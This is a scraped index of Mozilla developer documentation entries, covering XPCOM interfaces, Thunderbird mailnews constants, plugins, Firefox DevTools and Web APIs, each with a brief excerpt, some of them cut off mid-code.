nsIThreadPoolListener
xpcom/threads/nsithreadpool.idlscriptable please add a summary to this article.
nsITransactionList
editor/txmgr/idl/nsitransactionlist.idlscriptable please add a summary to this article.
nsITransferable
common mime types some of these need better descriptions, especially the mozilla-specific ones.
nsITransport
netwerk/base/public/nsitransport.idlscriptable this interface provides a common way of accessing i/o streams connected to some resource.
nsITransportEventSink
see nsisockettransport for socket specific status codes and more comments.
nsITransportSecurityInfo
shortsecuritydescription wstring for secure connections (ssl) gives the common name (cn) of the certifying authority.
nsITreeBoxObject
/layout/xul/base/src/tree/public/nsitreeboxobject.idlscriptable please add a summary to this article.
nsITreeColumn
layout/xul/base/src/tree/public/nsitreecolumns.idlscriptable please add a summary to this article.
nsITreeColumns
layout/xul/base/src/tree/public/nsitreecolumns.idlscriptable please add a summary to this article.
nsITreeContentView
layout/xul/base/src/tree/public/nsitreecontentview.idlscriptable please add a summary to this article.
nsIURIFixup
fixup_flag_fix_scheme_typos 8 fix common scheme typos.
nsIURIFixupInfo
keywordassent astring the keyword used for the search (post trimming etc.); empty string if no keyword search is performed.
nsIUpdate
ideally, this page is not the release notes but some other page that summarizes the differences between this update and the previous, which also links to the release notes.
nsIUpdateChecker
this is used by any user interface that offers the user the opportunity to check for updates immediately.
nsIUpdateTimerManager
in order to avoid having to instantiate a component to call the registertimer() method, the component can instead register an update-timer category with comma-separated values as a single string representing the timer, like this: _xpcom_categories: [{ category: "update-timer", value: "contractid," + "method," + "id," + "preference," + "interval" }], this allows you to schedule the timer without actually having...
nsIUploadChannel2
netwerk/base/public/nsiuploadchannel2.idlscriptable please add a summary to this article.
nsIUserCertPicker
security/manager/ssl/public/nsiusercertpicker.idlscriptable please add a summary to this article.
nsIWebProgress
uriloader/base/nsiwebprogress.idlscriptable please add a summary to this article.
nsIWebProgressListener2
uriloader/base/nsiwebprogresslistener2.idlscriptable please add a summary to this article.
nsIWebappsSupport
toolkit/components/webapps/nsiwebappssupport.idlscriptable please add a summary to this article.
nsIWinAccessNode
accessible/public/msaa/nsiwinaccessnode.idlnot scriptable please add a summary to this article.
nsIWindowWatcher
this is taken care of both in mozilla and by common embedding code.
nsIWindowsShellService
browser/components/shell/public/nsiwindowsshellservice.idlscriptable please add a summary to this article.
nsIWritablePropertyBag
xpcom/ds/nsiwritablepropertybag.idlscriptable please add a summary to this article.
nsIXFormsNSInstanceElement
extensions/xforms/nsixformsnsinstanceelement.idlscriptable please add a summary to this article.
nsIXFormsNSModelElement
extensions/xforms/nsixformsnsmodelelement.idlscriptable please add a summary to this article.
nsIXMLHttpRequest
here is a comment from johnny stenback <jst@netscape.com>: the mozilla implementation of nsixmlhttprequest implements the interface nsidomeventtarget and that's how you're supported to add event listeners.
nsIXPCScriptable
js/src/xpconnect/idl/nsixpcscriptable.idlnot scriptable please add a summary to this article.
nsIXSLTException
content/xslt/public/nsixsltexception.idlscriptable please add a summary to this article.
nsIXULWindow
xpfe/appshell/nsixulwindow.idlscriptable please add a summary to this article.
nsIXmlRpcClient
extensions/xml-rpc/idl/nsixmlrpcclient.idlscriptable please add a summary to this article.
nsIZipEntry
content/base/public/nsidomserializer.idlscriptable please add a summary to this article.
nsIZipReader
neither of the patterns foo or bar may use the 'pat~pat2' syntax described immediately above.
nsIZipReaderCache
modules/libjar/nsizipreader.idlscriptable please add a summary to this article.
nsMsgFilterFileAttribValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilterlist.idl const nsmsgfilterfileattribvalue attribnone = 0; const nsmsgfilterfileattribvalue attribversion = 1; const nsmsgfilterfileattribvalue attriblogging = 2; const nsmsgfilterfileattribvalue attribname = 3; const nsmsgfilterfileattribvalue attribenabled = 4; const nsmsgfilterfileattribvalue attribdescription = 5; const nsmsgfilterfileattribvalue attribtype = 6; const nsmsgfilterfileattribvalue attribscriptfile = 7; const nsmsgfilterfileattribvalue attribaction = 8; const nsmsgfilterfileattribvalue attribactionvalue = 9; const nsmsgfilterfileattribvalue attribcondition = 10; const nsmsgfilterfileattribvalue attribcustomid = 11; ...
nsMsgJunkStatus
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long nsmsgjunkstatus; typedef unsigned long nsmsgjunkscore; ...
nsMsgKey
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long nsmsgkey; ...
nsMsgLabelValue
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long nsmsglabelvalue; ...
nsMsgPriorityValue
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef long nsmsgpriorityvalue; [scriptable, uuid(94c0d8d8-2045-11d3-8a8f-0060b0fc04d2)] interface nsmsgpriority { const nsmsgpriorityvalue notset = 0; const nsmsgpriorityvalue none = 1; const nsmsgpriorityvalue lowest = 2; const nsmsgpriorityvalue low = 3; const nsmsgpriorityvalue normal = 4; const nsmsgpriorityvalue high = 5; const nsmsgpriorityvalue highest = 6; // the default for a priority picker const nsmsgpriorityvalue default = 4; }; ...
nsMsgRuleActionType
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgfiltercore.idl typedef long nsmsgruleactiontype; [scriptable, uuid(59af7696-1e28-4642-a400-fa327ae0b8d8)] interface nsmsgfilteraction { /* if you change these, you need to update filter.properties, look for filteractionx */ /* these longs are all actually of type nsmsgfilteractiontype */ const long custom=-1; /* see nsmsgfilteraction */ const long none=0; /* uninitialized state */ const long movetofolder=1; const long changepriority=2; const long delete=3; const long markread=4; const long killthread=5; const long watchthread=6; const long markflagged=7; const long label=8; const long reply=9; const long forward=10; const long stopexecution=1...
nsMsgSearchScope
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl [scriptable, uuid(6e893e59-af98-4f62-a326-0f00f32147cd)] interface nsmsgsearchscope { const nsmsgsearchscopevalue offlinemail = 0; const nsmsgsearchscopevalue offlinemailfilter = 1; const nsmsgsearchscopevalue onlinemail = 2; const nsmsgsearchscopevalue onlinemailfilter = 3; /// offline news, base table, no body or junk const nsmsgsearchscopevalue localnews = 4; const nsmsgsearchscopevalue news = 5; const nsmsgsearchscopevalue newsex = 6; const nsmsgsearchscopevalue ldap = 7; const nsmsgsearchscopevalue localab = 8; const nsmsgsearchscopevalue allsearchablegroups = 9; const nsmsgsearchscopevalue newsfilter = 10; const nsmsgsearchscopevalue localaband = 11; const nsmsgsearchscope...
nsMsgSearchTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl use this to specify the value of a search term [ptr] native nsmsgsearchterm(nsmsgsearchterm); // please note the !
nsMsgSearchTypeValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl used to specify type of search to be performed [scriptable,uuid(964b7f32-304e-11d3-ae13-00a0c900d445)] interface nsmsgsearchtype { const nsmsgsearchtypevalue none = 0; const nsmsgsearchtypevalue rootdse = 1; const nsmsgsearchtypevalue normal = 2; const nsmsgsearchtypevalue ldapvlv = 3; const nsmsgsearchtypevalue namecompletion = 4; }; ...
nsMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl use this to specify the value of a search term [ptr] native nsmsgsearchvalue(nsmsgsearchvalue); %{c++ typedef struct nsmsgsearchvalue { nsmsgsearchattribvalue attribute; union { nsmsgpriorityvalue priority; prtime date; pruint32 msgstatus; /* see msg_flag in msgcom.h */ pruint32 size; nsmsgkey key; print32 age; /* in days */ nsimsgfolder *folder; nsmsglabelvalue label; pruint32 junkstatus; pruint32 junkpercent; } u; char *string; } nsmsgsearchvalue; ...
nsMsgSearchWidgetValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl fes use this to help build the search dialog box typedef long nsmsgsearchwidgetvalue; /* fes use this to help build the search dialog box */ [scriptable,uuid(903dd2e8-304e-11d3-92e6-00a0c900d445)] interface nsmsgsearchwidget { const nsmsgsearchwidgetvalue text = 0; const nsmsgsearchwidgetvalue date = 1; const nsmsgsearchwidgetvalue menu = 2; const nsmsgsearchwidgetvalue int = 3; /* added to account for age in days which requires an integer field */ const nsmsgsearchwidgetvalue none = 4; }; ...
NS_ASSERTION
summary macro throws an assertion failure if the first macro argument does not evaluate to true.
NS_ENSURE_ARG_POINTER
summary macro returns ns_error_invalid_pointer if the macro argument evaluates to false and shows a warning (ns_warning) in this case.
NS ENSURE SUCCESS
summary macro returns return-value if ns_failed(nsresult) evaluates to true, and shows a warning on stderr in that case.
NS ENSURE TRUE
summary macro returns return-value if expr evaluates to false.
NS_ERROR
summary macro throws a assertion (ns_assertion) with the text "error: (error text)", so writes this text to console (stderr) and to debug logs (nspr logging).
NS_IF_ADDREF
summary macro addrefs the argument, if it is non-null.
NS_IF_RELEASE
summary macro decrements the reference count of a pointer by one.
NS_RELEASE
summary macro decrements the reference count of a pointer by one.
NS_WARNING
summary macro shows a warning on the console (stderr) and in debug logs (nspr logging).
NS_CStringAppendData
« xpcom api reference summary the ns_cstringappenddata function appends data to the existing value of a nsacstring instance.
NS_CStringCloneData
« xpcom api reference summary the ns_cstringclonedata function returns a null-terminated, heap allocated copy of the string's internal buffer.
NS_CStringContainerFinish
« xpcom api reference summary the ns_cstringcontainerfinish function releases any memory allocated by a nscstringcontainer instance.
NS_CStringContainerInit
« xpcom api reference summary the ns_cstringcontainerinit function initializes a nscstringcontainer instance for use as a nsacstring.
NS_CStringCopy
« xpcom api reference summary the ns_cstringcopy function copies the value from one nsacstring instance to another.
NS_CStringCutData
« xpcom api reference summary the ns_cstringcutdata function removes a section of the string's internal buffer.
NS_CStringGetData
« xpcom api reference summary the ns_cstringgetdata function gives the caller read access to the string's internal buffer.
NS_CStringGetMutableData
« xpcom api reference summary the ns_cstringgetmutabledata function gives the caller write access to the string's internal buffer.
NS_CStringInsertData
« xpcom api reference summary the ns_cstringinsertdata function appends data to the existing value of a nsacstring instance.
NS_CStringSetData
« xpcom api reference summary the ns_cstringsetdata function copies data into the string's internal buffer.
NS_CStringSetDataRange
« xpcom api reference summary the ns_cstringsetdatarange function copies data into a section of the string's internal buffer.
NS_CStringToUTF16
« xpcom api reference summary the ns_cstringtoutf16 function converts the value of a nsacstring instance to utf-16 and stores the result in a nsastring instance.
NS_StringAppendData
« xpcom api reference summary the ns_stringappenddata function appends data to the existing value of a nsastring instance.
NS_StringCloneData
« xpcom api reference summary the ns_stringclonedata function returns a null-terminated, heap allocated copy of the string's internal buffer.
NS_StringContainerFinish
« xpcom api reference summary the ns_stringcontainerfinish function releases any memory allocated by a nsstringcontainer instance.
NS_StringContainerInit
« xpcom api reference summary the ns_stringcontainerinit function initializes a nsstringcontainer instance for use as a nsastring.
NS_StringCopy
removed by bug 1332639 « xpcom api reference summary the ns_stringcopy function copies the value from one nsastring instance to another.
NS_StringCutData
« xpcom api reference summary the ns_stringcutdata function removes a section of the string's internal buffer.
NS_StringGetData
« xpcom api reference summary the ns_stringgetdata function gives the caller access to the string's internal buffer.
NS_StringInsertData
« xpcom api reference summary the ns_stringinsertdata function appends data to the existing value of a nsacstring instance.
NS_StringSetData
« xpcom api reference summary the ns_stringsetdata function copies data into the string's internal buffer.
NS_StringSetDataRange
« xpcom api reference summary the ns_stringsetdatarange function copies data into a section of the string's internal buffer.
NS_UTF16ToCString
« xpcom api reference summary the ns_utf16tocstring function converts the value of a nsastring instance from utf-16 to the specified multi-byte encoding and stores the result in a nsacstring instance.
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type!
nsGetModuleProc
summary this function prototype provides the xpcom entry-point into a module.
nsICookie2 MOZILLA 1 8 BRANCH
netwerk/cookie/public/nsicookie2.idlscriptable please add a summary to this article.
nsMsgViewSortOrder
for example to sort by date you would pass a function the value: components.interfaces.nsmsgviewsortorder.ascending mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
nsMsgViewSortType
for example to sort by date you would pass a function the value: components.interfaces.nsmsgviewsorttype.bydate mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
nsStaticModuleInfo
summary this data structure is used by ns_initxpcom3 to specify static xpcom modules.
Setting HTTP request headers
for more information about notifications framework and a list of common notification topics, see observer notifications.
Warnings
if, for some reason you cannot use an index in your order by clause, you can suppress this warning by including a sql comment in your query that contains this text: /* do not warn (bug [everything in these brackets does not matter] */ the bug mentioned should explain why the query cannot use an index.
Using nsIClassInfo
original document information authors: mike shaver, justin lebar last updated date: july 25, 2011 copyright information: portions of this content are © 1998–2011 by individual mozilla.org contributors; content available under a creative commons license | details.
Using the Gecko SDK
all nspr functions are frozen by default and are not marked as such in the respective header files.) the glue library exists to make common tasks easier.
Weak reference
urce xpcom/base/nsiweakreference.idl xpcom/glue/nsweakreference.h xpcom/glue/nsweakreference.cpp xpcom ownership guidelines using nscomptr original document information author: scott collins last updated date: september 23, 2000 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
XPCOM ownership guidelines
portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
XPCOM tasks
original document information author(s): unknown last updated date: may 8, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Generating xpt on Windows
assuming you installed your xulrunner sdk at <mozsdkdir>, you then need to issue a command similar to c:\working-dir> <mozsdkdir>\sdk\bin\typelib.py <inputfile.idl> -o <outputfile.xpt> -i <mozsdkdir>\idl ...
XSLT 2.0
saxon-b the extension demonstrates how one can use liveconnect code to communicate with the saxon-b library, but one might find the javascript code module approach used inside the extension xquseme as a more reusable approach.
Address Book examples
see an overview of thunderbird components for a general description of the thunderbird user interface and related programmatic interfaces.
Filelink Providers
if the provider is being merged into the comm-central code repository (and thus added to the official thunderbird build), you must also add the components to the cloudfile/cloudfilecomponents.manifest, cloudfile/jar.mn, and installer/package-manifest.in.
MailNews Filters
we also coalesce moves to the same destination folder, so that we can do them in one url/command to the server, and we playback those moves when the header download is done.
Mail and RDF
please comment !
Mail composition back end
i will try to make comments for these exceptions.
Mailbox
the mailbox protocol is also used to regenerate a summary file, in conjunction with nsmsgmailboxparser ...
Thunderbird Configuration Files
in almost all cases, edits made using the user.js can be done via the config editor, which is the recommended method.
Building a Thunderbird extension 5: XUL
xul is an xml grammar that provides user interface widgets like buttons, menus, toolbars, trees etc.
Building a Thunderbird extension 6: Adding JavaScript
it then uses javascript's date class to get the current date, which it converts into a string that has the format of yyyy.mm.dd.
Demo Addon
only the interesting parts are shown, it's recommended that you download the add-on and have a look at its files.
Activity Manager examples
(this example seems to be outdated and not working, see bug 557467 comment 1.) //optional: define some convenience constants const nsactprocess = components.constructor("@mozilla.org/activity-process;1", "nsiactivityprocess", "init"); const nsactevent = components.constructor("@mozilla.org/activity-event;1", "nsiactivityevent", "init"); // step 1: implement nsiactivitycontextdispla...
Add Option to Context Menu
for thunderbird 2 <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="messagepanecontext"> <menuitem id="my_option" label="my option concise and cool label" oncommand="alert('hi')"/> </menupopup> </overlay> for thunderbird 3 <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <popup id="mailcontext"> <menuitem id="my_option" label="my option concise and cool label" oncommand="alert('hi')"/> </popup> </overlay> for thunderbird 2 an...
Add Toolbar Button
ylesheet href="chrome://demo/skin/overlay.css" type="text/css" ?> <overlay id="messengerwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/x-javascript" src="overlay.js" /> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="demo-button" class="demo-button toolbarbutton-1" label="demo" type="button" oncommand="demo.load();" /> </toolbarpalette> </overlay> add this to the css file you referenced in your xul file: #demo-button, [place="palette"] > #demo-button { list-style-image: url("chrome://demo/skin/icon.png") !important; } ...
Thunderbird developer reference docs
folder classes db views (message list) message summary database mailnews protocols mailnews filters ...
Using popup notifications
popup notifications, also known as "doorhanger notifications", are presented to notify the user of something that's important but may not need immediate attention.
Virtualenv
it is recommended that you use virtualenv for installing anything other than system software that you are working on.
Add to iPhoto
if this is null or undefined, we immediately return null, indicating there is no node associated with the context menu.
Declaring types
structures with next field it is common to see structures with a "next" field that is a pointer to itself.
Working with ArrayBuffers
method 3: transfer byte array by calling memcpy this is the recommended method, as it only takes a couple of milliseconds, even for large arrays.
Working with data
creating uninitialized cdata objects there are three forms of the syntax for creating cdata objects without immediately assigning them a value: var mycdataobj = new type; var mycdataobj = new type(); var mycdataobj = type(); these all do the same thing: they return a new cdata object of the specified type, whose data buffer has been populated entirely with zeroes.
Using js-ctypes
kecfstr('we just called the equivalent of the "standardalert carbon function" for 64bit osx from javascript!') }; var rez = cfusernotificationdisplaynotice(0, kcfusernotificationcautionalertlevel, null, null, null, mycfstrs.head, mycfstrs.body, null); console.info('rez:', rez, rez.tostring(), uneval(rez)); // cfusernotificationdisplaynotice does not block till user clicks dialog, it will return immediately if (rez.tostring() == '0') { console.log('notification was succesfully shown!!'); } else { console.error('failed to show notification...
ABI
general details this article describes the calling conventions with respect to js-ctypes while programming x86 and x86-64/x64/amd64 architectures.
js-ctypes
using c structs and pointers using com from js-ctypes using objective-c from js-ctypes github :: ochameau / jscpptypes a mangling library to use c++ from js-ctypes community view mozilla forums...
Blocking By Domain - Plugins
criteria in order to improve firefox security and performance, there are two major categories of sites mozilla may choose to add to plugin domain blocking: sites commonly embedded in a 3rd-party context web sites which are commonly embedded into other sites using iframes can have a large impact on browser security and also cause many sites to show plugin activation prompts.
Flash Activation: Browser Comparison - Plugins
using a script callback to determine when a plugin is activated similarly, a site's script shouldn't attempt to script a plugin immediately upon creation.
Browser Side Plug-in API - Plugins
netscape plug-in method summary « previousnext » npn_destroystream closes and deletes a stream.
Memory - Plugins
for communicator 4.0 and later versions, this function is not necessary for the mac os platform; npn_memalloc now performs memory flushing internally.
Plug-in Side Plug-in API - Plugins
plugin method summary npp_destroy deletes a specific instance of a plug-in.
Scripting plugins - Plugins
« previousnext » xxx: dummy p element this document describes the new cross-browser npapi extensions, commonly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsystems (see press release).
Structures - Plugins
structure summary npanycallbackstruct contains information required during embedded mode printing.
Version, UI, and Status Information - Plugins
browsers communicate with http servers, which store agent software name, version, and operating system in a user_agent field.
Gecko Plugin API Reference - Plugins
npembedprint npevent npfullprint npp np_port npprint npprintcallbackstruct nprect npregion npsaveddata npsetwindowcallbackstruct npstream npwindow constants error codes result codes plug-in version constants version feature constants external resources external projects and articles for plugin creation original document information copyright information: netscape communication ...
Plugin Roadmap for Firefox - Plugins
to support the transition away from flash, firefox is working with other browsers to progressively and carefully make flash usage less common.
Color vision simulation - Firefox Developer Tools
the most common forms of color blindness (commonly lumped together as "red-green color blindness") affect more men than women, because they are due to a mutation in a gene in the x chromosome, which men usually have only one copy of.
DOM Inspector - Firefox Developer Tools
dom inspector faq answers to common questions on dom inspector.
Inspecting web app manifests - Firefox Developer Tools
plication panel’s manifest view on a page that doesn't have an app manifest successfully deployed, you'll get the following output shown: deploying a manifest to get a manifest deployed successfully, you need to include a <link> element in the <head> of your document that points to your .webmanifest file: <link rel="manifest" href="/manifest.webmanifest"> the .webmanifest extension is recommended in the spec, and should be served with an application/manifest+json mime type, although browsers generally tend to support manifests with other appropriate extensions like .json (mime type: application/json).
Debugging service workers - Firefox Developer Tools
this is very useful because, once registered, the service worker will not necessarily update to the new version immediately, which can make debugging a pain.
Set a breakpoint - Firefox Developer Tools
now when execution pauses, you can view relevant variables immediately.
Debugger.Object - Firefox Developer Tools
for example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; note that the display name may not be a proper javascript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property.
Debugger.Script - Firefox Developer Tools
for example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; note that the display name may not be a proper javascript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property.
Debugger.Object - Firefox Developer Tools
for example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; note that the display name may not be a proper javascript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property.
Eyedropper - Firefox Developer Tools
keyboard shortcuts command windows macos linux select the current color enter return enter dismiss the eyedropper esc esc esc move by 1 pixel arrow keys arrow keys arrow keys move by 10 pixels shift + arrow keys shift + arrow keys shift + arrow keys ...
Aggregate view - Firefox Developer Tools
let's see what the example looks like when we select "inverted call stack": now at the top we can immediately see the createtoolbarbutton() call accounting for 89% of the heap usage in our page.
Performance Analysis - Firefox Developer Tools
it displays the results for each run side by side, or vertically if the browser window is narrow: the results for each run are summarised in a table and a pie chart.
Network monitor toolbar - Firefox Developer Tools
a summary of this page, including the number of requests, total size, and total time.
Network Monitor - Firefox Developer Tools
opening the network monitor there are a few different ways to open the network monitor: press ctrl + shift + e ( command + option + e on a mac).
Examine and edit the box model - Firefox Developer Tools
element's selected, you can get a detailed look at the box model in the box model view: if you hover over a value, you'll see a tooltip telling you which rule the value comes from: if you hover over part of the box model in the box model view, the corresponding part of the page is highlighted: editing the box model you can also edit the values in the box model view, and see the results immediately in the page: ...
Select an element - Firefox Developer Tools
the highlighted element is the element that's overlaid in the page with a graphic showing the box model, and a tooltip showing its tag and size: with the context menu to open the inspector and select an element immediately, activate the context menu over the element in the page and select "inspect element": with the html pane when the inspector is open, as you move the mouse around the elements listed in the html pane, the corresponding elements are highlighted in the page.
Select and highlight elements - Firefox Developer Tools
the highlighted element is the element that's overlaid in the page with a graphic showing the box model, and a tooltip showing its tag and size: with the context menu to open the inspector and select an element immediately, activate the context menu over the element in the page and select "inspect element": with the html pane when the inspector is open, as you move the mouse around the elements listed in the html pane, the corresponding elements are highlighted in the page.
UI Tour - Firefox Developer Tools
the select element button is one way you can select an element for inspection: note that it's actually part of the main toolbox toolbar, so it's immediately accessible from any tool, not just the inspector.
Frame rate - Firefox Developer Tools
the frame rate graph is correlated with the waterfall summary directly above it, and there we can see that the first two drops in the frame rate are correlated with orange bars, which denote time spent executing javascript.
Animating CSS properties - Firefox Developer Tools
it's commonly accepted that 60 frames per second is the rate at which animations will appear smooth.
Debugging Firefox Desktop - Firefox Developer Tools
run the debuggee from the command line, passing it the --start-debugger-server option: /path/to/firefox --start-debugger-server passed with no arguments, --start-debugger-server makes the debugger server listen on port 6000.
Responsive Design Mode - Firefox Developer Tools
on the right end of the screen, three buttons allow you to: camera button - take a screenshot settings button - opens the rdm settings menu close button - closes rdm mode and returns to regular browsing the settings menu includes the following commands: left-align viewport - when checked moves the rdm viewport to the left side of the browser window show user agent - when checked displays the user agent string the final two options define when the page is reloaded: reload when touch simulation is toggled: when this option is enabled, the page is reloaded whenever you toggle touch support.
Cookies - Firefox Developer Tools
context menu the context menu for each cookie includes the following commands: add item - add a new cookie.
IndexedDB - Firefox Developer Tools
you can delete an indexeddb database using the context menu in the storage tree: if the database cannot be deleted (most commonly because there are still active connections to the database), a warning message will be displayed in the storage inspector: you can use the context menu in the table widget to delete all items in an object store, or a particular item: ...
Validators - Firefox Developer Tools
tune-up wizard links back to devedge if you're writing new code that isn't validating immediately, see the available standards-compliant authoring and development tools.
Web Audio Editor - Firefox Developer Tools
if you click on a value in the node inspector you can modify it: press enter or tab and the new value takes effect immediately.
about:debugging (before Firefox 68) - Firefox Developer Tools
note that this feature isn't that immediately useful to debugging desktop tabs — you can open up a toolbox to debug a tab easily enough already — but this will become far more useful when about:debugging starts to support remote debugging, and this page can begin to list tabs available for debugging on mobile device browsers, simulators, etc.
about:debugging - Firefox Developer Tools
note: it's recommended that you use the browser toolbox, not the add-on debugger, for debugging webextensions.
AbortController.AbortController() - Web APIs
specifications specification status comment domthe definition of 'abortcontroller()' in that specification.
AbortController.abort() - Web APIs
specifications specification status comment domthe definition of 'abort()' in that specification.
AbstractRange.collapsed - Web APIs
specifications specification status comment domthe definition of 'collapsed' in that specification.
AbstractRange.endContainer - Web APIs
specifications specification status comment domthe definition of 'endcontainer' in that specification.
AbstractRange.endOffset - Web APIs
specifications specification status comment domthe definition of 'endoffset' in that specification.
AbstractRange.startContainer - Web APIs
specifications specification status comment domthe definition of 'startcontainer ' in that specification.
AbstractRange.startOffset - Web APIs
specifications specification status comment domthe definition of 'startoffset' in that specification.
AbstractWorker.onerror - Web APIs
}; example the following code snippet shows creation of a worker object using the worker() constructor and setting up of an onerror handler on the resulting object: var myworker = new worker('worker.js'); myworker.onerror = function() { console.log('there is an error with your worker!'); } specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification.
Ambient Light Sensor API - Web APIs
specifications specification status comment ambient light sensor candidate recommendation initial definition.
AnalyserNode.AnalyserNode() - Web APIs
specifications specification status comment web audio apithe definition of 'analysernode() constructor' in that specification.
AnalyserNode.fftSize - Web APIs
bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * height/2; if(i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.height/2); canvasctx.stroke(); }; draw(); specifications specification status comment web audio apithe definition of 'fftsize' in that specification.
AnalyserNode.frequencyBinCount - Web APIs
0, 0, width, height); var barwidth = (width / bufferlength) * 2.5 - 1; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth; } }; draw(); specifications specification status comment web audio apithe definition of 'frequencybincount' in that specification.
AnalyserNode.getByteFrequencyData() - Web APIs
specifications specification status comment web audio apithe definition of 'getbytefrequencydata()' in that specification.
AnalyserNode.getByteTimeDomainData() - Web APIs
/ bufferlength; let x = 0; canvasctx.beginpath(); for(var i = 0; i < bufferlength; i++) { const v = dataarray[i]/128.0; const y = v * height/2; if(i === 0) canvasctx.moveto(x, y); else canvasctx.lineto(x, y); x += slicewidth; } canvasctx.lineto(width, height/2); canvasctx.stroke(); }; draw(); specifications specification status comment web audio apithe definition of 'getbytetimedomaindata()' in that specification.
AnalyserNode.getFloatFrequencyData() - Web APIs
th) * 2.5; let posx = 0; for (let i = 0; i < bufferlength; i++) { const barheight = (dataarray[i] + 140) * 2; canvasctx.fillstyle = 'rgb(' + math.floor(barheight + 100) + ', 50, 50)'; canvasctx.fillrect(posx, canvas.height - barheight / 2, barwidth, barheight / 2); posx += barwidth + 1; } }; draw(); </script> </body> specifications specification status comment web audio apithe definition of 'getfloatfrequencydata()' in that specification.
AnalyserNode.getFloatTimeDomainData() - Web APIs
specifications specification status comment web audio apithe definition of 'getfloattimedomaindata()' in that specification.
AnalyserNode.maxDecibels - Web APIs
0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth + 1; } }; draw(); specifications specification status comment web audio apithe definition of 'maxdecibels' in that specification.
AnalyserNode.minDecibels - Web APIs
0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth + 1; } }; draw(); specifications specification status comment web audio apithe definition of 'mindecibels' in that specification.
AnalyserNode.smoothingTimeConstant - Web APIs
0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth + 1; } }; draw(); specifications specification status comment web audio apithe definition of 'smoothingtimeconstant' in that specification.
AnalyserNode - Web APIs
gth; var x = 0; for (var i = 0; i < bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * canvas.height / 2; if (i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.height / 2); canvasctx.stroke(); } draw(); specifications specification status comment web audio apithe definition of 'analysernode' in that specification.
Animation() - Web APIs
examples in the follow the white rabbit example, the animation() constructor is used to create an animation for the rabbitdownkeyframes using the document's timeline: var rabbitdownanimation = new animation(rabbitdownkeyframes, document.timeline); specifications specification status comment web animationsthe definition of 'animation()' in that specification.
Animation.cancel() - Web APIs
WebAPIAnimationcancel
specifications specification status comment web animationsthe definition of 'animation.cancel()' in that specification.
Animation.currentTime - Web APIs
specifications specification status comment web animationsthe definition of 'currenttime' in that specification.
Animation.effect - Web APIs
WebAPIAnimationeffect
specifications specification status comment web animationsthe definition of 'animation.effect' in that specification.
Animation.finish() - Web APIs
WebAPIAnimationfinish
elem.getanimations().foreach( function(animation){ return animation.finish(); } ); specifications specification status comment web animationsthe definition of 'finish()' in that specification.
Animation.finished - Web APIs
